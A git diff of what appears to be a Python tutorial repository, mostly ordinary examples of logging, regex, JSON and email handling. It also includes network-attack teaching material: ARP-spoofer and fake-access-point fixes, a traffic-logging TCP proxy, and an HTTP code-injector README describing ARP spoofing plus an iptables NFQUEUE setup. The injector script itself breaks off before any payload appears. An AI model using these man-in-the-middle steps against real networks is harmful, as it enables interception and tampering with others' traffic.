+stronghold
+structure
+stymied
+substance
+subway
+such
+sudden
+sugar
+suggestion
+summer
+sun
+support
+surprise
+sweet
+swim
+swivel
+syndrome
+system
+table
+tail
+take
+talk
+tall
+taste
+tax
+teaching
+tendency
+test
+than
+that
+the
+then
+theory
+there
+thick
+thin
+thing
+this
+thought
+thread
+thriftless
+throat
+through
+through
+thumb
+thumbscrew
+thunder
+ticket
+tight
+till
+time
+tin
+tired
+toe
+together
+tomorrow
+tongue
+tooth
+top
+topaz
+touch
+town
+trade
+train
+transcript
+transgress
+transplant
+transport
+tray
+tree
+trick
+triphthong
+trouble
+trousers
+true
+turn
+twelfth
+twelfths
+twist
+umbrella
+under
+unit
+unknown
+unworthy
+unzip
+uptown
+use
+value
+vaporize
+verse
+very
+vessel
+view
+violent
+vixen
+vodka
+voice
+voodoo
+vortex
+voyeurism
+waiting
+walk
+walkway
+wall
+waltz
+war
+warm
+wash
+waste
+watch
+water
+wave
+wave
+wavy
+wax
+waxy
+way
+weather
+week
+weight
+well
+wellspring
+west
+wet
+wheel
+wheezy
+when
+where
+while
+whip
+whiskey
+whistle
+white
+whizzing
+who
+whomever
+why
+wide
+will
+wimpy
+wind
+window
+wine
+wing
+winter
+wire
+wise
+witchcraft
+with
+wizard
+woman
+wood
+wool
+woozy
+word
+work
+worm
+wound
+wristwatch
+writing
+wrong
+wyvern
+xylophone
+yachtsman
+year
+yellow
+yes
+yesterday
+yippee
+yoked
+you
+young
+youthful
+yummy
+zephyr
+zigzag
+zigzagging
+zilch
+zipper
+zodiac
+zombie
\ No newline at end of file
diff --git a/python-standard-library/logging/README.md b/python-standard-library/logging/README.md
new file mode 100644
index 00000000..bd4c2005
--- /dev/null
+++ b/python-standard-library/logging/README.md
@@ -0,0 +1 @@
+# [Logging in Python](https://www.thepythoncode.com/article/logging-in-python)
\ No newline at end of file
diff --git a/python-standard-library/logging/logger_basic.py b/python-standard-library/logging/logger_basic.py
new file mode 100644
index 00000000..2bf05d18
--- /dev/null
+++ b/python-standard-library/logging/logger_basic.py
@@ -0,0 +1,22 @@
+import logging
+
+# make a basic logging configuration
+# here we set the level of logging to DEBUG
+logging.basicConfig(
+ level=logging.DEBUG
+)
+
+# make a debug message
+logging.debug("This is a simple debug log")
+
+# make an info message
+logging.info("This is a simple info log")
+
+# make a warning message
+logging.warning("This is a simple warning log")
+
+# make an error message
+logging.error("This is a simple error log")
+
+# make a critical message
+logging.critical("This is a simple critical log")
\ No newline at end of file
diff --git a/python-standard-library/logging/logger_config.py b/python-standard-library/logging/logger_config.py
new file mode 100644
index 00000000..bca295f9
--- /dev/null
+++ b/python-standard-library/logging/logger_config.py
@@ -0,0 +1,8 @@
+import logging
+
+logging.basicConfig(
+ level=logging.INFO,
+ format="%(asctime)s - %(levelname)s - %(message)s",
+)
+
+logging.info("This is an info message!")
\ No newline at end of file
diff --git a/python-standard-library/logging/logger_datefmt.py b/python-standard-library/logging/logger_datefmt.py
new file mode 100644
index 00000000..47ab3f1e
--- /dev/null
+++ b/python-standard-library/logging/logger_datefmt.py
@@ -0,0 +1,9 @@
+import logging
+
+logging.basicConfig(
+ level=logging.INFO,
+ format="%(asctime)s - %(levelname)s - %(message)s",
+ datefmt="[%Y-%m-%d] %H:%M:%S",
+)
+
+logging.info("This is an info message!")
\ No newline at end of file
diff --git a/python-standard-library/logging/logger_file.py b/python-standard-library/logging/logger_file.py
new file mode 100644
index 00000000..4ccb1d30
--- /dev/null
+++ b/python-standard-library/logging/logger_file.py
@@ -0,0 +1,25 @@
+import logging
+import math
+
+logging.basicConfig(level=logging.DEBUG,
+ handlers=[logging.FileHandler('logs.log', 'a', 'utf-8')],
+ format="%(asctime)s %(levelname)-6s - %(funcName)-8s - %(filename)s - %(lineno)-3d - %(message)s",
+ datefmt="[%Y-%m-%d] %H:%M:%S - ",
+ )
+
+logging.info("This is an info log")
+
+def square_root(x):
+ logging.debug(f"Getting the square root of {x}")
+ try:
+ result = math.sqrt(x)
+ except ValueError:
+ logging.exception("Cannot get square root of a negative number")
+ # or
+ # logging.error("Cannot get square root of a negative number", exc_info=True)
+ return None
+ logging.info(f"The square root of {x} is {result:.5f}")
+ return result
+
+square_root(5)
+square_root(-5)
\ No newline at end of file
diff --git a/python-standard-library/logging/logger_handlers.py b/python-standard-library/logging/logger_handlers.py
new file mode 100644
index 00000000..c20ebcd6
--- /dev/null
+++ b/python-standard-library/logging/logger_handlers.py
@@ -0,0 +1,21 @@
+import logging
+
+# return a logger with the specified name & creating it if necessary
+logger = logging.getLogger(__name__)
+
+# create a logger handler, in this case: file handler
+file_handler = logging.FileHandler("file.log")
+# set the level of logging to INFO
+file_handler.setLevel(logging.INFO)
+
+# create a logger formatter
+logging_format = logging.Formatter("%(asctime)s - %(levelname)s - %(message)s")
+
+# add the format to the logger handler
+file_handler.setFormatter(logging_format)
+
+# add the handler to the logger
+logger.addHandler(file_handler)
+
+# use the logger as previously
+logger.critical("This is a critical message!")
diff --git a/python-standard-library/logging/logger_simple.py b/python-standard-library/logging/logger_simple.py
new file mode 100644
index 00000000..70a5f151
--- /dev/null
+++ b/python-standard-library/logging/logger_simple.py
@@ -0,0 +1,31 @@
+import logging
+
+# make a debug message
+logging.debug("This is a simple debug log")
+
+# make an info message
+logging.info("This is a simple info log")
+
+# make a warning message
+logging.warning("This is a simple warning log")
+
+# make an error message
+logging.error("This is a simple error log")
+
+# make a critical message
+logging.critical("This is a simple critical log")
+
+# just mapping logging level integers into strings for convenience
+logging_levels = {
+ logging.DEBUG: "DEBUG", # 10
+ logging.INFO: "INFO", # 20
+ logging.WARNING: "WARNING", # 30
+ logging.ERROR: "ERROR", # 40
+ logging.CRITICAL: "CRITICAL", # 50
+}
+
+# get the current logging level
+print("Current logging level:", logging_levels.get(logging.root.level))
+
+# get the current logging format
+print("Current logging format:", logging.BASIC_FORMAT)
\ No newline at end of file
diff --git a/python-standard-library/print-variable-name-and-value/README.md b/python-standard-library/print-variable-name-and-value/README.md
new file mode 100644
index 00000000..8fde81f4
--- /dev/null
+++ b/python-standard-library/print-variable-name-and-value/README.md
@@ -0,0 +1 @@
+# [How to Print Variable Name and Value in Python](https://www.thepythoncode.com/article/print-variable-name-and-value-in-python)
\ No newline at end of file
diff --git a/python-standard-library/print-variable-name-and-value/print_variable_name_and_value.py b/python-standard-library/print-variable-name-and-value/print_variable_name_and_value.py
new file mode 100644
index 00000000..d561d146
--- /dev/null
+++ b/python-standard-library/print-variable-name-and-value/print_variable_name_and_value.py
@@ -0,0 +1,7 @@
+# Normal way to print variable name and value
+name = "Abdou"
+age = 24
+print(f"name: {name}, age: {age}")
+
+# using the "=" sign
+print(f"{name=}, {age=}")
diff --git a/python-standard-library/reading-email-messages/reading_emails.py b/python-standard-library/reading-email-messages/reading_emails.py
index 4b8723a6..f89ff9aa 100644
--- a/python-standard-library/reading-email-messages/reading_emails.py
+++ b/python-standard-library/reading-email-messages/reading_emails.py
@@ -7,12 +7,21 @@
# account credentials
username = "youremailaddress@provider.com"
password = "yourpassword"
+# use your email provider's IMAP server, you can look for your provider's IMAP server on Google
+# or check this page: https://www.systoolsgroup.com/imap/
+# for office 365, it's this:
+imap_server = "outlook.office365.com"
+
+
+def clean(text):
+ # clean text for creating a folder
+ return "".join(c if c.isalnum() else "_" for c in text)
# number of top emails to fetch
N = 3
# create an IMAP4 class with SSL, use your email provider's IMAP server
-imap = imaplib.IMAP4_SSL("imap.gmail.com")
+imap = imaplib.IMAP4_SSL(imap_server)
# authenticate
imap.login(username, password)
@@ -23,7 +32,7 @@
# total number of emails
messages = int(messages[0])
-for i in range(messages-4, messages-N-4, -1):
+for i in range(messages, messages-N, -1):
# fetch the email message by ID
res, msg = imap.fetch(str(i), "(RFC822)")
for response in msg:
@@ -31,14 +40,16 @@
# parse a bytes email into a message object
msg = email.message_from_bytes(response[1])
# decode the email subject
- subject = decode_header(msg["Subject"])[0][0]
+ subject, encoding = decode_header(msg["Subject"])[0]
if isinstance(subject, bytes):
# if it's a bytes, decode to str
- subject = subject.decode()
- # email sender
- from_ = msg.get("From")
+ subject = subject.decode(encoding)
+ # decode email sender
+ From, encoding = decode_header(msg.get("From"))[0]
+ if isinstance(From, bytes):
+ From = From.decode(encoding)
print("Subject:", subject)
- print("From:", from_)
+ print("From:", From)
# if the email message is multipart
if msg.is_multipart():
# iterate over email parts
@@ -58,10 +69,11 @@
# download attachment
filename = part.get_filename()
if filename:
- if not os.path.isdir(subject):
+ folder_name = clean(subject)
+ if not os.path.isdir(folder_name):
# make a folder for this email (named after the subject)
- os.mkdir(subject)
- filepath = os.path.join(subject, filename)
+ os.mkdir(folder_name)
+ filepath = os.path.join(folder_name, filename)
# download attachment and save it
open(filepath, "wb").write(part.get_payload(decode=True))
else:
@@ -74,18 +86,17 @@
print(body)
if content_type == "text/html":
# if it's HTML, create a new HTML file and open it in browser
- if not os.path.isdir(subject):
+ folder_name = clean(subject)
+ if not os.path.isdir(folder_name):
# make a folder for this email (named after the subject)
- os.mkdir(subject)
- filename = f"{subject[:50]}.html"
- filepath = os.path.join(subject, filename)
+ os.mkdir(folder_name)
+ filename = "index.html"
+ filepath = os.path.join(folder_name, filename)
# write the file
open(filepath, "w").write(body)
# open in the default browser
webbrowser.open(filepath)
-
print("="*100)
-
# close the connection and logout
imap.close()
imap.logout()
\ No newline at end of file
diff --git a/python-standard-library/regular-expressions/README.md b/python-standard-library/regular-expressions/README.md
new file mode 100644
index 00000000..864f935c
--- /dev/null
+++ b/python-standard-library/regular-expressions/README.md
@@ -0,0 +1 @@
+# [How to Use Regular Expressions in Python](https://www.thepythoncode.com/article/work-with-regular-expressions-in-python)
\ No newline at end of file
diff --git a/python-standard-library/regular-expressions/finditer.py b/python-standard-library/regular-expressions/finditer.py
new file mode 100644
index 00000000..827c2ed4
--- /dev/null
+++ b/python-standard-library/regular-expressions/finditer.py
@@ -0,0 +1,30 @@
+import re
+
+# fake ipconfig output
+example_text = """
+Ethernet adapter Ethernet:
+
+ Media State . . . . . . . . . . . : Media disconnected
+ Physical Address. . . . . . . . . : 88-90-E6-28-35-FA
+
+Ethernet adapter Ethernet 2:
+
+ Physical Address. . . . . . . . . : 04-00-4C-4F-4F-60
+ Autoconfiguration IPv4 Address. . : 169.254.204.56(Preferred)
+
+Wireless LAN adapter Local Area Connection* 2:
+
+ Media State . . . . . . . . . . . : Media disconnected
+ Physical Address. . . . . . . . . : B8-21-5E-D3-66-98
+
+Wireless LAN adapter Wi-Fi:
+
+ Physical Address. . . . . . . . . : A0-00-79-AA-62-74
+ IPv4 Address. . . . . . . . . . . : 192.168.1.101(Preferred)
+ Default Gateway . . . . . . . . . : 192.168.1.1
+"""
+# regex for MAC address
+mac_address_regex = r"([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2})"
+# iterate over matches and extract MAC addresses
+extracted_mac_addresses = [ m.group(0) for m in re.finditer(mac_address_regex, example_text) ]
+print(extracted_mac_addresses)
\ No newline at end of file
diff --git a/python-standard-library/regular-expressions/match.py b/python-standard-library/regular-expressions/match.py
new file mode 100644
index 00000000..afb891a7
--- /dev/null
+++ b/python-standard-library/regular-expressions/match.py
@@ -0,0 +1,8 @@
+import re # stands for regular expression
+# a regular expression for validating a password
+match_regex = r"^(?=.*[0-9]).{8,}$"
+# a list of example passwords
+passwords = ["pwd", "password", "password1"]
+for pwd in passwords:
+ m = re.match(match_regex, pwd)
+ print(f"Password: {pwd}, validate password strength: {bool(m)}")
\ No newline at end of file
diff --git a/python-standard-library/regular-expressions/search.py b/python-standard-library/regular-expressions/search.py
new file mode 100644
index 00000000..09a7a4d9
--- /dev/null
+++ b/python-standard-library/regular-expressions/search.py
@@ -0,0 +1,18 @@
+import re
+
+# part of ipconfig output
+example_text = """
+Wireless LAN adapter Wi-Fi:
+
+ Connection-specific DNS Suffix . :
+ Link-local IPv6 Address . . . . . : fe80::380e:9710:5172:caee%2
+ IPv4 Address. . . . . . . . . . . : 192.168.1.100
+ Subnet Mask . . . . . . . . . . . : 255.255.255.0
+ Default Gateway . . . . . . . . . : 192.168.1.1
+"""
+
+# regex for IPv4 address
+ip_address_regex = r"((25[0-5]|(2[0-4]|1[0-9]|[1-9]|)[0-9])(\.(?!$)|$)){4}"
+# use re.search() method to get the match object
+match = re.search(ip_address_regex, example_text)
+print(match)
\ No newline at end of file
diff --git a/python-standard-library/regular-expressions/sub.py b/python-standard-library/regular-expressions/sub.py
new file mode 100644
index 00000000..6fedb20c
--- /dev/null
+++ b/python-standard-library/regular-expressions/sub.py
@@ -0,0 +1,16 @@
+import re
+
+# a basic regular expression for email matching
+email_regex = r"[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+"
+# example text to test with
+example_text = """
+Subject: This is a text email!
+From: John Doe
+Some text here!
+===============================
+Subject: This is another email!
+From: Abdou Rockikz
+Some other text!
+"""
+# substitute any email found with [email protected]
+print(re.sub(email_regex, "[email protected]", example_text))
\ No newline at end of file
diff --git a/python-standard-library/split-string/README.md b/python-standard-library/split-string/README.md
new file mode 100644
index 00000000..fe078256
--- /dev/null
+++ b/python-standard-library/split-string/README.md
@@ -0,0 +1 @@
+# [How to Split a String In Python](https://www.thepythoncode.com/article/split-a-string-in-python)
\ No newline at end of file
diff --git a/python-standard-library/split-string/split_string.py b/python-standard-library/split-string/split_string.py
new file mode 100644
index 00000000..86e17e2b
--- /dev/null
+++ b/python-standard-library/split-string/split_string.py
@@ -0,0 +1,32 @@
+#Declare Two Variables
+variable1 = "Splitting a string"
+variable2 = 'Splitting another string'
+
+#Splitting The Variables
+print(variable1.split())
+print(variable2.split())
+
+#Splitting The Variables
+print(variable1.split())
+print(variable2.split(","))
+
+#Declare Two Variables
+variable1 = "Splitting*a*string"
+variable2 = 'Splitting,another,string'
+#Splitting The Variables
+print(variable1.split("*"))
+print(variable2.split(","))
+
+#Splitting The Variables
+print(variable1.split("*")[2])
+print(variable2.split(",")[0])
+
+#Declare The Variable
+variable = "Splitting a string"
+#Use The Maxsplit
+print(variable.split(" ", maxsplit=1))
+
+#Declare The Variable
+variable = "Splitting a string"
+#Split The String By Characters
+print(list(variable))
\ No newline at end of file
diff --git a/python-standard-library/tcp-proxy/README.md b/python-standard-library/tcp-proxy/README.md
new file mode 100644
index 00000000..f3dd655d
--- /dev/null
+++ b/python-standard-library/tcp-proxy/README.md
@@ -0,0 +1 @@
+# [How to Build a TCP Proxy with Python](https://thepythoncode.com/article/building-a-tcp-proxy-with-python)
\ No newline at end of file
diff --git a/python-standard-library/tcp-proxy/tcp_proxy.py b/python-standard-library/tcp-proxy/tcp_proxy.py
new file mode 100644
index 00000000..d27434ef
--- /dev/null
+++ b/python-standard-library/tcp-proxy/tcp_proxy.py
@@ -0,0 +1,147 @@
+import sys
+import socket
+import threading
+import time
+from typing import Optional, Tuple, Dict
+
+class TcpProxy:
+ def __init__(self):
+ self._local_addr: str = ""
+ self._local_port: int = 0
+ self._remote_addr: str = ""
+ self._remote_port: int = 0
+ self._preload: bool = False
+ self._backlog: int = 5
+ self._chunk_size: int = 16
+ self._timeout: int = 5
+ self._buffer_size: int = 4096
+ self._termination_flags: Dict[bytes, bool] = {
+ b'220 ': True,
+ b'331 ': True,
+ b'230 ': True,
+ b'530 ': True
+ }
+
+ def _process_data(self, stream: bytes) -> None:
+ #Transform data stream for analysis
+ for offset in range(0, len(stream), self._chunk_size):
+ block = stream[offset:offset + self._chunk_size]
+
+ # Format block representation
+ bytes_view = ' '.join(f'{byte:02X}' for byte in block)
+ text_view = ''.join(chr(byte) if 32 <= byte <= 126 else '.' for byte in block)
+
+ # Display formatted line
+ print(f"{offset:04X} {bytes_view:<{self._chunk_size * 3}} {text_view}")
+
+ def _extract_stream(self, conn: socket.socket) -> bytes:
+ #Extract data stream from connection
+ accumulator = b''
+ conn.settimeout(self._timeout)
+
+ try:
+ while True:
+ fragment = conn.recv(self._buffer_size)
+ if not fragment:
+ break
+
+ accumulator += fragment
+
+ # Check for protocol markers
+ if accumulator.endswith(b'\r\n'):
+ for flag in self._termination_flags:
+ if flag in accumulator:
+ return accumulator
+
+ except socket.timeout:
+ pass
+
+ return accumulator
+
+ def _monitor_stream(self, direction: str, stream: bytes) -> bytes:
+ # Monitor and decode stream content
+ try:
+ content = stream.decode('utf-8').strip()
+ marker = ">>>" if direction == "in" else "<<<"
+ print(f"{marker} {content}")
+ except UnicodeDecodeError:
+ print(f"{direction}: [binary content]")
+
+ return stream
+
+ def _bridge_connections(self, entry_point: socket.socket) -> None:
+ #Establish and maintain connection bridge
+ # Initialize exit point
+ exit_point = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ try:
+ exit_point.connect((self._remote_addr, self._remote_port))
+ # Handle initial remote response
+ if self._preload:
+ remote_data = self._extract_stream(exit_point)
+ if remote_data:
+ self._process_data(remote_data)
+ processed = self._monitor_stream("out", remote_data)
+ entry_point.send(processed)
+ # Main interaction loop
+ while True:
+ # Process incoming traffic
+ entry_data = self._extract_stream(entry_point)
+ if entry_data:
+ print(f"\n[>] Captured {len(entry_data)} bytes incoming")
+ self._process_data(entry_data)
+ processed = self._monitor_stream("in", entry_data)
+ exit_point.send(processed)
+ # Process outgoing traffic
+ exit_data = self._extract_stream(exit_point)
+ if exit_data:
+ print(f"\n[<] Captured {len(exit_data)} bytes outgoing")
+ self._process_data(exit_data)
+ processed = self._monitor_stream("out", exit_data)
+ entry_point.send(processed)
+ # Prevent CPU saturation
+ if not (entry_data or exit_data):
+ time.sleep(0.1)
+ except Exception as e:
+ print(f"[!] Bridge error: {str(e)}")
+ finally:
+ print("[*] Closing bridge")
+ entry_point.close()
+ exit_point.close()
+
+ def orchestrate(self) -> None:
+ # Orchestrate the proxy operation
+ # Validate input
+ if len(sys.argv[1:]) != 5:
+ print("Usage: script.py [local_addr] [local_port] [remote_addr] [remote_port] [preload]")
+ print("Example: script.py 127.0.0.1 8080 target.com 80 True")
+ sys.exit(1)
+ # Configure proxy parameters
+ self._local_addr = sys.argv[1]
+ self._local_port = int(sys.argv[2])
+ self._remote_addr = sys.argv[3]
+ self._remote_port = int(sys.argv[4])
+ self._preload = "true" in sys.argv[5].lower()
+ # Initialize listener
+ listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+ try:
+ listener.bind((self._local_addr, self._local_port))
+ except socket.error as e:
+ print(f"[!] Binding failed: {e}")
+ sys.exit(1)
+ listener.listen(self._backlog)
+ print(f"[*] Service active on {self._local_addr}:{self._local_port}")
+ # Main service loop
+ while True:
+ client, address = listener.accept()
+ print(f"[+] Connection from {address[0]}:{address[1]}")
+ bridge = threading.Thread(
+ target=self._bridge_connections,
+ args=(client,)
+ )
+ bridge.daemon = True
+ bridge.start()
+
+if __name__ == "__main__":
+ bridge = TcpProxy()
+ bridge.orchestrate()
\ No newline at end of file
diff --git a/python-standard-library/working-with-json/README.md b/python-standard-library/working-with-json/README.md
new file mode 100644
index 00000000..cde390e6
--- /dev/null
+++ b/python-standard-library/working-with-json/README.md
@@ -0,0 +1,3 @@
+# [How to Work with JSON Files in Python](https://www.thepythoncode.com/article/working-with-json-files-in-python)
+To run `example.py`, you have to install `requests` library:
+- `pip3 install -r requirements.txt`
\ No newline at end of file
diff --git a/python-standard-library/working-with-json/example.py b/python-standard-library/working-with-json/example.py
new file mode 100644
index 00000000..75e42cdf
--- /dev/null
+++ b/python-standard-library/working-with-json/example.py
@@ -0,0 +1,28 @@
+import requests
+import json
+
+
+# make API request and parse JSON automatically
+data = requests.get("https://jsonplaceholder.typicode.com/users").json()
+# save all data in a single JSON file
+file_name = "user_data.json"
+with open(file_name, "w") as f:
+ json.dump(data, f, indent=4)
+ print(file_name, "saved successfully!")
+
+# or you can save each entry into a file
+for user in data:
+ # iterate over `data` list
+ file_name = f"user_{user['id']}.json"
+ with open(file_name, "w") as f:
+ json.dump(user, f, indent=4)
+ print(file_name, "saved successfully!")
+
+
+# load 2nd user for instance
+file_name = "user_2.json"
+with open(file_name) as f:
+ user_data = json.load(f)
+
+print(user_data)
+print("Username:", user_data["username"])
\ No newline at end of file
diff --git a/python-standard-library/working-with-json/loading_json.py b/python-standard-library/working-with-json/loading_json.py
new file mode 100644
index 00000000..ba1f3ea8
--- /dev/null
+++ b/python-standard-library/working-with-json/loading_json.py
@@ -0,0 +1,15 @@
+import json
+
+# read a JSON file
+# 1st option
+file_name = "data1.json"
+with open(file_name) as f:
+ data = json.load(f)
+
+print(data)
+# 2nd option
+file_name = "data2.json"
+with open(file_name) as f:
+ data = json.loads(f.read())
+
+print(data)
\ No newline at end of file
diff --git a/python-standard-library/working-with-json/requirements.txt b/python-standard-library/working-with-json/requirements.txt
new file mode 100644
index 00000000..663bd1f6
--- /dev/null
+++ b/python-standard-library/working-with-json/requirements.txt
@@ -0,0 +1 @@
+requests
\ No newline at end of file
diff --git a/python-standard-library/working-with-json/saving_json.py b/python-standard-library/working-with-json/saving_json.py
new file mode 100644
index 00000000..8885b9c7
--- /dev/null
+++ b/python-standard-library/working-with-json/saving_json.py
@@ -0,0 +1,30 @@
+import json
+
+# example dictionary to save as JSON
+data = {
+ "first_name": "John",
+ "last_name": "Doe",
+ "email": "john@doe.com",
+ "salary": 1499.9, # just to demonstrate we can use floats as well
+ "age": 17,
+ "is_real": False, # also booleans!
+ "titles": ["The Unknown", "Anonymous"] # also lists!
+}
+
+# save JSON file
+# 1st option
+with open("data1.json", "w") as f:
+ json.dump(data, f)
+
+# 2nd option
+with open("data2.json", "w") as f:
+ f.write(json.dumps(data, indent=4))
+
+
+unicode_data = {
+ "first_name": "أحمد",
+ "last_name": "علي"
+}
+
+with open("data_unicode.json", "w", encoding="utf-8") as f:
+ json.dump(unicode_data, f, ensure_ascii=False)
\ No newline at end of file
diff --git a/scapy/arp-spoofer/arp_spoof.py b/scapy/arp-spoofer/arp_spoof.py
index 51b9fb5b..6179bdd5 100644
--- a/scapy/arp-spoofer/arp_spoof.py
+++ b/scapy/arp-spoofer/arp_spoof.py
@@ -79,7 +79,7 @@ def restore(target_ip, host_ip, verbose=True):
# get the real MAC address of spoofed (gateway, i.e router)
host_mac = get_mac(host_ip)
# crafting the restoring packet
- arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, hwsrc=host_mac)
+ arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, hwsrc=host_mac, op="is-at")
# sending the restoring packet
# to restore the network to its normal process
# we send each reply seven times for a good measure (count=7)
@@ -108,4 +108,4 @@ def restore(target_ip, host_ip, verbose=True):
except KeyboardInterrupt:
print("[!] Detected CTRL+C ! restoring the network, please wait...")
restore(target, host)
- restore(host, target)
\ No newline at end of file
+ restore(host, target)
diff --git a/scapy/arp-spoofer/requirements.txt b/scapy/arp-spoofer/requirements.txt
index 93b351f4..3f462529 100644
--- a/scapy/arp-spoofer/requirements.txt
+++ b/scapy/arp-spoofer/requirements.txt
@@ -1 +1,2 @@
-scapy
\ No newline at end of file
+scapy
+pywin32
\ No newline at end of file
diff --git a/scapy/crafting-packets/README.md b/scapy/crafting-packets/README.md
new file mode 100644
index 00000000..c57f5974
--- /dev/null
+++ b/scapy/crafting-packets/README.md
@@ -0,0 +1 @@
+# [Crafting Dummy Packets with Scapy Using Python](https://thepythoncode.com/article/crafting-packets-with-scapy-in-python)
\ No newline at end of file
diff --git a/scapy/crafting-packets/network_latency_measure.py b/scapy/crafting-packets/network_latency_measure.py
new file mode 100644
index 00000000..e5b1b43c
--- /dev/null
+++ b/scapy/crafting-packets/network_latency_measure.py
@@ -0,0 +1,21 @@
+server_ips = ["192.168.27.1", "192.168.17.129", "192.168.17.128"]
+
+from scapy.all import IP, ICMP, sr1
+import time
+
+def check_latency(ip):
+ packet = IP(dst=ip) / ICMP()
+ start_time = time.time()
+ response = sr1(packet, timeout=2, verbose=0)
+ end_time = time.time()
+
+ if response:
+ latency = (end_time - start_time) * 1000 # Convert to milliseconds
+ print(f"[+] Latency to {ip}: {latency:.2f} ms")
+ else:
+ print(f"[-] No response from {ip} (possible packet loss)")
+
+for server_ip in server_ips:
+ check_latency(server_ip)
+
+
diff --git a/scapy/crafting-packets/packet_craft.py b/scapy/crafting-packets/packet_craft.py
new file mode 100644
index 00000000..7d0f3399
--- /dev/null
+++ b/scapy/crafting-packets/packet_craft.py
@@ -0,0 +1,34 @@
+# Uncomment them and run according to the tutorial
+#from scapy.all import IP, TCP, send, UDP
+
+# # Step 1: Creating a simple IP packet
+# packet = IP(dst="192.168.1.1") # Setting the destination IP
+# packet = IP(dst="192.168.1.1") / TCP(dport=80, sport=12345, flags="S")
+# print(packet.show()) # Display packet details
+# send(packet)
+
+
+############
+# from scapy.all import ICMP
+
+# # Creating an ICMP Echo request packet
+# icmp_packet = IP(dst="192.168.1.1") / ICMP()
+# send(icmp_packet)
+
+
+############
+# from scapy.all import UDP
+
+# # Creating a UDP packet
+# udp_packet = IP(dst="192.168.1.1") / UDP(dport=53, sport=12345)
+# send(udp_packet)
+
+
+
+###########
+# blocked_packet = IP(dst="192.168.1.1") / TCP(dport=80, flags="S")
+# send(blocked_packet)
+
+# allowed_packet = IP(dst="192.168.1.1") / UDP(dport=53)
+# send(allowed_packet)
+
diff --git a/scapy/crafting-packets/requirements.txt b/scapy/crafting-packets/requirements.txt
new file mode 100644
index 00000000..93b351f4
--- /dev/null
+++ b/scapy/crafting-packets/requirements.txt
@@ -0,0 +1 @@
+scapy
\ No newline at end of file
diff --git a/scapy/dhcp_listener/README.md b/scapy/dhcp_listener/README.md
index 6a7323a5..128e16ac 100644
--- a/scapy/dhcp_listener/README.md
+++ b/scapy/dhcp_listener/README.md
@@ -1,7 +1,7 @@
-# Listening for new Connected Devices in the Network using DHCP
+# [How to Make a DHCP Listener using Scapy in Python](https://www.thepythoncode.com/article/dhcp-listener-using-scapy-in-python)
to run this:
- `pip3 install -r requirements.txt`
-
```
- python3 dhcp_listener.py
+ $ python3 dhcp_listener.py
```
\ No newline at end of file
diff --git a/scapy/dhcp_listener/dhcp_listener.py b/scapy/dhcp_listener/dhcp_listener.py
index de8655c5..e036e40c 100644
--- a/scapy/dhcp_listener/dhcp_listener.py
+++ b/scapy/dhcp_listener/dhcp_listener.py
@@ -1,16 +1,16 @@
from scapy.all import *
import time
-hosts = []
-Ether = 1
-
def listen_dhcp():
# Make sure it is DHCP with the filter options
- k = sniff(prn=print_packet, filter='udp and (port 67 or port 68)')
+ sniff(prn=print_packet, filter='udp and (port 67 or port 68)')
+
def print_packet(packet):
+ # initialize these variables to None at first
target_mac, requested_ip, hostname, vendor_id = [None] * 4
+ # get the MAC address of the requester
if packet.haslayer(Ether):
target_mac = packet.getlayer(Ether).src
# get the DHCP options
@@ -21,15 +21,18 @@ def print_packet(packet):
except ValueError:
continue
if label == 'requested_addr':
+ # get the requested IP
requested_ip = value
elif label == 'hostname':
+ # get the hostname of the device
hostname = value.decode()
elif label == 'vendor_class_id':
+ # get the vendor ID
vendor_id = value.decode()
- if target_mac and vendor_id and hostname and requested_ip and target_mac not in hosts:
- hosts.append(target_mac)
- time_now = time.strftime("[%Y-%m-%d - %H:%M:%S] ")
- print("{}: {} - {} / {} requested {}".format(time_now, target_mac, hostname, vendor_id, requested_ip))
+ if target_mac and vendor_id and hostname and requested_ip:
+ # if all variables are not None, print the device details
+ time_now = time.strftime("[%Y-%m-%d - %H:%M:%S]")
+ print(f"{time_now} : {target_mac} - {hostname} / {vendor_id} requested {requested_ip}")
if __name__ == "__main__":
diff --git a/scapy/fake-access-point/fake_access_point.py b/scapy/fake-access-point/fake_access_point.py
index 35e203fa..ffecffb7 100644
--- a/scapy/fake-access-point/fake_access_point.py
+++ b/scapy/fake-access-point/fake_access_point.py
@@ -34,7 +34,7 @@ def send_beacon(ssid, mac, infinite=True):
parser = argparse.ArgumentParser(description="Fake Access Point Generator")
parser.add_argument("interface", default="wlan0mon", help="The interface to send beacon frames with, must be in monitor mode")
- parser.add_argument("-n", "--access-points", dest="n_ap", help="Number of access points to be generated")
+ parser.add_argument("-n", "--access-points", type=int, dest="n_ap", help="Number of access points to be generated")
args = parser.parse_args()
n_ap = args.n_ap
iface = args.interface
diff --git a/scapy/http-code-injector/README.md b/scapy/http-code-injector/README.md
new file mode 100644
index 00000000..03b7eb0d
--- /dev/null
+++ b/scapy/http-code-injector/README.md
@@ -0,0 +1,14 @@
+# [How to Inject Code into HTTP Responses in the Network in Python](https://www.thepythoncode.com/article/injecting-code-to-html-in-a-network-scapy-python)
+To run this:
+- `pip3 install -r requirements.txt`
+- Make sure you enabled IP forwarding, if you're using [this Python script](https://www.thepythoncode.com/code/building-arp-spoofer-using-scapy), then it'll automatically enable it.
+- Start ARP Spoofing against the target using any tool such as [this Python script](https://www.thepythoncode.com/code/building-arp-spoofer-using-scapy) or arpspoof tool on Kali Linux.
+- Add a new nfqueue FORWARD rule on `iptables`:
+ ```bash
+ $ iptables -I FORWARD -j NFQUEUE --queue-num 0
+ ```
+
+When you're done, make sure you CTRL+C the ARP spoof script, disable IP forwarding and flushing the iptables:
+ ```bash
+ $ iptables --flush
+ ```
\ No newline at end of file
diff --git a/scapy/http-code-injector/http_code_injector.py b/scapy/http-code-injector/http_code_injector.py
new file mode 100644
index 00000000..900b3abd
--- /dev/null
+++ b/scapy/http-code-injector/http_code_injector.py
@@ -0,0 +1,92 @@
+from scapy.all import *
+from colorama import init, Fore
+import netfilterqueue
+import re
+
+# initialize colorama
+init()
+
+# define colors
+GREEN = Fore.GREEN
+RESET = Fore.RESET
+
+
+def process_packet(packet):
+ """
+ This function is executed whenever a packet is sniffed
+ """
